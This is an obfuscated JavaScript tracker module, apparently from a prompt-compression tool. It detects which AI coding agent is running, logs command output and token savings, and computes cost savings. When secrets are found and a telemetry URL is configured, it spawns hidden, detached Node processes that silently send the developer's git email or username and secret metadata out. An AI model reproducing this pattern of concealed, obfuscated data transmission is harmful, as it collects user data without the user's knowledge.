},'gemini-3-1-flash-lite':{'name':a0_0x2e0b46(0x208),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':'Gemini\x203.5\x20Live\x20Translate','input_price_1m':3.5}};function a0_0x1b4d(){const _0x40359f=['OpenAI\x20o1','windsurf','antigravity','getConfig','COPILOT_GITHUB_TOKEN','GPT-4.1\x20Nano','config.json','ignore','aider','max','.trimprompt','name',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','github-copilot','username','16189162sJopyP','telemetry_url','auto','configPath','gemini-3-1-pro','getStatsSummary','Claude\x20Opus\x204.1\x20(deprecated)','init','ANTIGRAVITY_AGENT','Claude\x20Opus\x204.7','command','toLowerCase','spawn','platform','claude-opus-4-8','triggerBackgroundSync','GPT-5.4\x20Nano','logs','Claude\x20Opus\x204.8','Claude\x20Haiku\x204.5','claude','secretsFound','getOwnPropertyDescriptor','baseDir','flash','input_price_1m','Gemini\x203.1\x20Flash-Lite','join','Gemini\x203.5\x20Flash','ceil','sync.js','high','timestamp','git\x20config\x20user.email','includes','utf8','replit','replace','3HhWxxH','gemini','path','34664sToXIL','claude-sonnet-4-6','redact','GEMINI_CLI','1460190FoSDkQ','unknown','1070360bSwKPC','defineProperty','devin','CONTINUE_GLOBAL_DIR','claude-sonnet-4-5','estimated_compressed_tokens','toFixed','writeFileSync','REPL_ID','132670CknETY','config','opus','readFileSync','./redactor','push','hasOwnProperty','GPT-4o\x20Mini','toISOString','o3mini','configurable','1407316yRphWr','o3-mini','OpenAI\x20o1-mini','Cursor\x20Small','mkdirSync','COPILOT_MODEL','logsDir','tool','79171AIkRZT','continue','sendSecurityAlert','get','112mPKWtO','cursor','GPT-5.4','Claude\x20Sonnet\x204.6','cline','modelShort','statsPath','Claude\x20Opus\x204.5','copilot','__setModuleDefault','execPath','pipe','AI_AGENT','TRIMPROMPT_MODEL','default','saveLogs','CLAUDECODE','stringify','CLAUDE_EFFORT','AIDER_MODEL','522OQnPLt','pop','existsSync','GPT-5.5','estimated_raw_tokens','Claude\x20Haiku\x203.5','PATH','secretTypes','30GyCuLF','default_model','create','/api/security/alert','setConfig','model','CURSOR_AGENT','gemini-3-5-flash','Claude\x20Fable\x205','GPT-5.4\x20Mini','tracker','length','GPT-4.1\x20Mini','Tracker','GPT-4o','.comp.txt','parse','PRICING','prototype','unref','codex','stats.json','getLogs','call','split','sonnet','model_used','.raw.txt','saveConfig','REPLIT_ENVIRONMENT','trim',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end('];a0_0x1b4d=function(){return _0x40359f;};return a0_0x1b4d();}function a0_0x450f(_0x2f3cbc,_0x532069){_0x2f3cbc=_0x2f3cbc-0x1cc;const _0x1b4da8=a0_0x1b4d();let _0x450fd3=_0x1b4da8[_0x2f3cbc];return _0x450fd3;}function detectSessionTool(){const _0x3cb464=a0_0x2e0b46,_0x1ea208=process.env,_0x5a5aaa={'tool':'','model':_0x3cb464(0x218),'modelShort':''};if(_0x1ea208['TRIMPROMPT_MODEL']&&exports['PRICING'][_0x1ea208[_0x3cb464(0x24a)]])return{'tool':'','model':_0x1ea208['TRIMPROMPT_MODEL'],'modelShort':''};const _0x4f06c7=(_0x1ea208[_0x3cb464(0x249)]||'')[_0x3cb464(0x1f9)]();if(_0x4f06c7){if(_0x4f06c7[_0x3cb464(0x210)]('claude-code')||_0x4f06c7[_0x3cb464(0x210)]('claude_code')){const _0x333f48=_0x1ea208[_0x3cb464(0x24f)]==='high'?_0x3cb464(0x228):_0x3cb464(0x1d8),_0x3c2278=_0x1ea208[_0x3cb464(0x24f)]===_0x3cb464(0x20d)?'claude-opus-4-8':_0x3cb464(0x218);return{'tool':_0x3cb464(0x202),'model':_0x3c2278,'modelShort':_0x333f48};}if(_0x4f06c7['includes'](_0x3cb464(0x23e)))return{'tool':_0x3cb464(0x23e),'model':_0x3cb464(0x218),'modelShort':_0x3cb464(0x1d8)};if(_0x4f06c7['includes'](_0x3cb464(0x1ec))||_0x4f06c7[_0x3cb464(0x210)](_0x3cb464(0x245))){const _0x120e5f=_0x1ea208['COPILOT_MODEL']||'';if(_0x120e5f&&exports['PRICING'][_0x120e5f])return{'tool':_0x3cb464(0x245),'model':_0x120e5f,'modelShort':_0x120e5f['split']('-')['pop']()||''};return{'tool':_0x3cb464(0x245),'model':_0x3cb464(0x221),'modelShort':_0x3cb464(0x1d8)};}if(_0x4f06c7[_0x3cb464(0x210)](_0x3cb464(0x215)))return{'tool':_0x3cb464(0x215),'model':_0x3cb464(0x260),'modelShort':'flash'};if(_0x4f06c7[_0x3cb464(0x210)](_0x3cb464(0x1d3)))return{'tool':'codex','model':_0x3cb464(0x232),'modelShort':_0x3cb464(0x22f)};if(_0x4f06c7[_0x3cb464(0x210)]('devin'))return{'tool':_0x3cb464(0x21f),'model':_0x3cb464(0x218),'modelShort':''};if(_0x4f06c7[_0x3cb464(0x210)]('antigravity'))return{'tool':'antigravity','model':_0x3cb464(0x1f2),'modelShort':_0x3cb464(0x215)};if(_0x4f06c7[_0x3cb464(0x210)](_0x3cb464(0x212))||_0x1ea208[_0x3cb464(0x225)])return{'tool':_0x3cb464(0x212),'model':_0x3cb464(0x218),'modelShort':''};return{'tool':_0x4f06c7[_0x3cb464(0x1d7)]('_')[0x0][_0x3cb464(0x1d7)]('-')[0x0],'model':_0x3cb464(0x218),'modelShort':''};}if(_0x1ea208[_0x3cb464(0x24d)]==='1'||_0x1ea208['CLAUDE_CODE']==='1'){const _0x29e4d7=_0x1ea208[_0x3cb464(0x24f)]===_0x3cb464(0x20d)?'opus':_0x3cb464(0x1d8),_0x1c3a2f=_0x1ea208['CLAUDE_EFFORT']===_0x3cb464(0x20d)?_0x3cb464(0x1fc):_0x3cb464(0x218);return{'tool':'claude','model':_0x1c3a2f,'modelShort':_0x29e4d7};}if(_0x1ea208[_0x3cb464(0x25f)]==='1')return{'tool':_0x3cb464(0x23e),'model':'claude-sonnet-4-6','modelShort':'sonnet'};if(_0x1ea208[_0x3cb464(0x21a)]==='1')return{'tool':_0x3cb464(0x215),'model':_0x3cb464(0x260),'modelShort':_0x3cb464(0x206)};if(_0x1ea208['COPILOT_MODEL']||_0x1ea208[_0x3cb464(0x1e3)]){const _0x4d2cfc=_0x1ea208[_0x3cb464(0x236)]||'';if(_0x4d2cfc&&exports['PRICING'][_0x4d2cfc])return{'tool':_0x3cb464(0x245),'model':_0x4d2cfc,'modelShort':_0x4d2cfc[_0x3cb464(0x1d7)]('-')[_0x3cb464(0x252)]()||''};return{'tool':'copilot','model':_0x3cb464(0x221),'modelShort':_0x3cb464(0x1d8)};}if(_0x1ea208[_0x3cb464(0x225)]||_0x1ea208[_0x3cb464(0x1dc)])return{'tool':'replit','model':_0x3cb464(0x218),'modelShort':''};if(_0x1ea208['CLINE_DATA_DIR'])return{'tool':_0x3cb464(0x241),'model':_0x3cb464(0x218),'modelShort':''};if(_0x1ea208[_0x3cb464(0x220)])return{'tool':_0x3cb464(0x23a),'model':'claude-sonnet-4-6','modelShort':''};if(_0x1ea208[_0x3cb464(0x1f6)]==='1')return{'tool':_0x3cb464(0x1e1),'model':_0x3cb464(0x1f2),'modelShort':_0x3cb464(0x215)};if(_0x1ea208[_0x3cb464(0x24f)]){const _0x42c361=_0x1ea208[_0x3cb464(0x24f)]===_0x3cb464(0x20d)?_0x3cb464(0x228):'sonnet',_0xc6f04=_0x1ea208[_0x3cb464(0x24f)]==='high'?'claude-opus-4-8':_0x3cb464(0x218);return{'tool':'','model':_0xc6f04,'modelShort':''};}if(_0x1ea208[_0x3cb464(0x250)]&&exports[_0x3cb464(0x1d0)][_0x1ea208['AIDER_MODEL']])return{'tool':_0x3cb464(0x1e7),'model':_0x1ea208[_0x3cb464(0x250)],'modelShort':''};if(_0x1ea208['VSCODE_PID']){const _0x3efaee=(_0x1ea208[_0x3cb464(0x257)]||'')[_0x3cb464(0x1f9)]();if(_0x3efaee[_0x3cb464(0x210)](_0x3cb464(0x23e)))return{'tool':'cursor','model':'claude-sonnet-4-6','modelShort':_0x3cb464(0x1d8)};if(_0x3efaee[_0x3cb464(0x210)](_0x3cb464(0x1e0)))return{'tool':_0x3cb464(0x1e0),'model':_0x3cb464(0x218),'modelShort':_0x3cb464(0x1d8)};}const _0x59c42b=process.env.TRIMPROMPT_MODEL||'';if(_0x59c42b&&exports[_0x3cb464(0x1d0)][_0x59c42b])return{'tool':'','model':_0x59c42b,'modelShort':''};return _0x5a5aaa;}class Tracker{['baseDir'];[a0_0x2e0b46(0x1f1)];[a0_0x2e0b46(0x243)];['logsDir'];[a0_0x2e0b46(0x227)];constructor(){const _0x424758=a0_0x2e0b46;this[_0x424758(0x205)]=path['join'](os['homedir'](),_0x424758(0x1e9)),this[_0x424758(0x1f1)]=path[_0x424758(0x209)](this[_0x424758(0x205)],_0x424758(0x1e5)),this['statsPath']=path['join'](this[_0x424758(0x205)],_0x424758(0x1d4)),this['logsDir']=path['join'](this[_0x424758(0x205)],_0x424758(0x1ff)),this[_0x424758(0x1f5)]();}[a0_0x2e0b46(0x1f5)](){const _0x4d409a=a0_0x2e0b46;!fs[_0x4d409a(0x253)](this[_0x4d409a(0x205)])&&fs['mkdirSync'](this[_0x4d409a(0x205)],{'recursive':!![]});!fs['existsSync'](this['logsDir'])&&fs[_0x4d409a(0x235)](this[_0x4d409a(0x237)],{'recursive':!![]});const _0x1941b1={'version':'1.0','telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':'claude-opus-4-8'};if(fs[_0x4d409a(0x253)](this[_0x4d409a(0x1f1)]))try{const _0x5b43c3=fs[_0x4d409a(0x229)](this[_0x4d409a(0x1f1)],_0x4d409a(0x211));this[_0x4d409a(0x227)]={..._0x1941b1,...JSON[_0x4d409a(0x1cf)](_0x5b43c3)};}catch(_0x3103e2){this[_0x4d409a(0x227)]=_0x1941b1;}else this[_0x4d409a(0x227)]=_0x1941b1,this[_0x4d409a(0x1db)]();!fs[_0x4d409a(0x253)](this[_0x4d409a(0x243)])&&fs['writeFileSync'](this['statsPath'],JSON[_0x4d409a(0x24e)]([]),_0x4d409a(0x211));}['getConfig'](){const _0x34387d=a0_0x2e0b46;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this['config'][_0x34387d(0x1ef)]=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0x34387d(0x227)];}[a0_0x2e0b46(0x25d)](_0xbe754c,_0x11eee2){const _0x3aad3b=a0_0x2e0b46;this[_0x3aad3b(0x227)][_0xbe754c]=_0x11eee2,this[_0x3aad3b(0x1db)]();}[a0_0x2e0b46(0x1db)](){const _0x569e2a=a0_0x2e0b46;fs[_0x569e2a(0x224)](this[_0x569e2a(0x1f1)],JSON[_0x569e2a(0x24e)](this[_0x569e2a(0x227)],null,0x2),_0x569e2a(0x211));}['getLogs'](){const _0x25a4e8=a0_0x2e0b46;try{if(!fs['existsSync'](this[_0x25a4e8(0x243)]))return[];const _0x62358c=fs[_0x25a4e8(0x229)](this[_0x25a4e8(0x243)],_0x25a4e8(0x211));return JSON['parse'](_0x62358c);}catch{return[];}}[a0_0x2e0b46(0x24c)](_0x30504c){const _0x23e88f=a0_0x2e0b46;fs[_0x23e88f(0x224)](this[_0x23e88f(0x243)],JSON[_0x23e88f(0x24e)](_0x30504c,null,0x2),_0x23e88f(0x211));}['logExecution'](_0x438fdc,_0x2fb6b0,_0x3d7396,_0x1e277e,_0x37dd45){const _0x3aaee8=a0_0x2e0b46,_0x503cc2=this[_0x3aaee8(0x1d5)](),_0x3c3939=_0x2fb6b0[_0x3aaee8(0x264)],_0x56ab75=_0x3d7396[_0x3aaee8(0x264)],_0x17f8f3=Math[_0x3aaee8(0x20b)](_0x3c3939/0x4),_0x53f103=Math[_0x3aaee8(0x20b)](_0x56ab75/0x4),_0x487d24=Math[_0x3aaee8(0x1e8)](0x0,_0x17f8f3-_0x53f103),_0xb21a3e=detectSessionTool(),_0x431573=_0xb21a3e[_0x3aaee8(0x25e)],_0x56dbd2=Math['random']()['toString'](0x24)['substring'](0x2,0xb);try{const {redactor:_0x43bd41}=require(_0x3aaee8(0x22a)),_0x3ba955=_0x43bd41?_0x43bd41[_0x3aaee8(0x219)](_0x2fb6b0):_0x2fb6b0;fs[_0x3aaee8(0x224)](path['join'](this[_0x3aaee8(0x237)],_0x56dbd2+_0x3aaee8(0x1da)),_0x3ba955,_0x3aaee8(0x211)),fs[_0x3aaee8(0x224)](path[_0x3aaee8(0x209)](this[_0x3aaee8(0x237)],_0x56dbd2+_0x3aaee8(0x1ce)),_0x3d7396,'utf8');}catch{}const _0x3f15da=_0x438fdc['split']('\x20')[0x0]||_0x3aaee8(0x21c),_0xb7cf4=_0xb21a3e['tool']?_0xb21a3e[_0x3aaee8(0x242)]?_0xb21a3e['tool']+'-'+_0xb21a3e['modelShort']+'-'+_0x3f15da:_0xb21a3e[_0x3aaee8(0x238)]+'-'+_0x3f15da:_0x3f15da,_0x400f36={'id':_0x56dbd2,'timestamp':new Date()[_0x3aaee8(0x22e)](),'command':_0xb7cf4,'raw_chars':_0x3c3939,'compressed_chars':_0x56ab75,'estimated_raw_tokens':_0x17f8f3,'estimated_compressed_tokens':_0x53f103,'tokens_saved':_0x487d24,'model_used':_0x431573,'exit_code':_0x1e277e,'synced':![],'ai_detected':!!_0xb21a3e['tool'],'secrets_found':_0x37dd45?.[_0x3aaee8(0x203)]||0x0,'secret_types':_0x37dd45?.[_0x3aaee8(0x258)]||[]};_0x503cc2[_0x3aaee8(0x22b)](_0x400f36),this[_0x3aaee8(0x24c)](_0x503cc2);const _0x3db6a6=this[_0x3aaee8(0x1e2)]()[_0x3aaee8(0x1ef)];return _0x3db6a6&&_0x3db6a6['trim']()[_0x3aaee8(0x264)]>0x0&&this['triggerBackgroundSync'](),_0x37dd45&&_0x37dd45[_0x3aaee8(0x203)]>0x0&&this[_0x3aaee8(0x23b)](_0x400f36,_0x37dd45),_0x400f36;}[a0_0x2e0b46(0x23b)](_0x562e20,_0x22d04e){const _0x4483b5=a0_0x2e0b46;try{let _0x4c5638=this[_0x4483b5(0x1e2)]()[_0x4483b5(0x1ef)]||'';if(!_0x4c5638)return;_0x4c5638=_0x4c5638[_0x4483b5(0x213)](/\/api\/telemetry\/?$/,_0x4483b5(0x25c));if(!_0x4c5638[_0x4483b5(0x210)]('/api/security/alert'))_0x4c5638+=_0x4483b5(0x25c);const {execSync:_0x3ea305}=require('child_process');let _0x26caa6=_0x4483b5(0x21c);try{_0x26caa6=require('child_process')['execSync'](_0x4483b5(0x20f),{'stdio':[_0x4483b5(0x1e6),_0x4483b5(0x248),'ignore']})['toString']()[_0x4483b5(0x1dd)]();}catch{}if(!_0x26caa6||!_0x26caa6[_0x4483b5(0x210)]('@'))try{_0x26caa6=require('os')['userInfo']()[_0x4483b5(0x1ed)];}catch{}const _0x25f547=JSON[_0x4483b5(0x24e)]({'developer_id':_0x26caa6,'timestamp':_0x562e20[_0x4483b5(0x20e)],'command':_0x562e20[_0x4483b5(0x1f8)],'secrets_found':_0x22d04e[_0x4483b5(0x203)],'secret_types':_0x22d04e['secretTypes'],'os':require('os')[_0x4483b5(0x1fb)]()}),_0x4a24c9='const\x20h=require(require(\x27url\x27).parse('+JSON[_0x4483b5(0x24e)](_0x4c5638)+_0x4483b5(0x1eb)+JSON['stringify'](_0x4c5638)+_0x4483b5(0x1de)+JSON[_0x4483b5(0x24e)](_0x25f547)+')',_0x2d392d=(0x0,child_process_1['spawn'])(process['execPath'],['-e',_0x4a24c9],{'detached':!![],'stdio':_0x4483b5(0x1e6)});_0x2d392d[_0x4483b5(0x1d2)]();}catch{}}[a0_0x2e0b46(0x1fd)](){const _0x1a60b7=a0_0x2e0b46;try{const _0x2359c7=path[_0x1a60b7(0x209)](__dirname,_0x1a60b7(0x20c));if(fs[_0x1a60b7(0x253)](_0x2359c7)){const _0x3ebd37=(0x0,child_process_1[_0x1a60b7(0x1fa)])(process[_0x1a60b7(0x247)],[_0x2359c7],{'detached':!![],'stdio':_0x1a60b7(0x1e6)});_0x3ebd37[_0x1a60b7(0x1d2)]();}}catch{}}[a0_0x2e0b46(0x1f3)](_0x4c9468='auto'){const _0xb84fcc=a0_0x2e0b46,_0x285dec=this[_0xb84fcc(0x1d5)]();let _0x4d98d7=0x0,_0xc94ae6=0x0,_0x536efa=0x0;for(const _0x323c8b of _0x285dec){_0x4d98d7+=_0x323c8b[_0xb84fcc(0x255)],_0xc94ae6+=_0x323c8b[_0xb84fcc(0x222)],_0x536efa+=_0x323c8b['tokens_saved'];}let _0x11a925=_0x4c9468;(!_0x11a925||_0x11a925===_0xb84fcc(0x1f0)||!exports[_0xb84fcc(0x1d0)][_0x11a925])&&(_0x285dec[_0xb84fcc(0x264)]>0x0&&_0x285dec[_0x285dec[_0xb84fcc(0x264)]-0x1][_0xb84fcc(0x1d9)]?_0x11a925=_0x285dec[_0x285dec['length']-0x1]['model_used']:_0x11a925=this['getConfig']()[_0xb84fcc(0x25a)]||'claude-3-5-sonnet');const _0x42d51e=exports[_0xb84fcc(0x1d0)][_0x11a925]||exports[_0xb84fcc(0x1d0)]['claude-3-5-sonnet'],_0xb63097=_0x536efa*_0x42d51e['input_price_1m']/0xf4240,_0x23bd04=_0x4d98d7*_0x42d51e[_0xb84fcc(0x207)]/0xf4240,_0x2f39d2=_0xc94ae6*_0x42d51e[_0xb84fcc(0x207)]/0xf4240,_0x2faca3=_0x4d98d7>0x0?_0x536efa/_0x4d98d7*0x64:0x0;return{'total_raw_tokens':_0x4d98d7,'total_compressed_tokens':_0xc94ae6,'total_tokens_saved':_0x536efa,'savings_percentage':parseFloat(_0x2faca3[_0xb84fcc(0x223)](0x1)),'money_saved_usd':parseFloat(_0xb63097[_0xb84fcc(0x223)](0x4)),'raw_cost_usd':parseFloat(_0x23bd04['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0x2f39d2[_0xb84fcc(0x223)](0x4)),'model_name':_0x42d51e[_0xb84fcc(0x1ea)],'model_key':_0x11a925};}}exports['Tracker']=Tracker,exports[a0_0x2e0b46(0x263)]=new Tracker();
|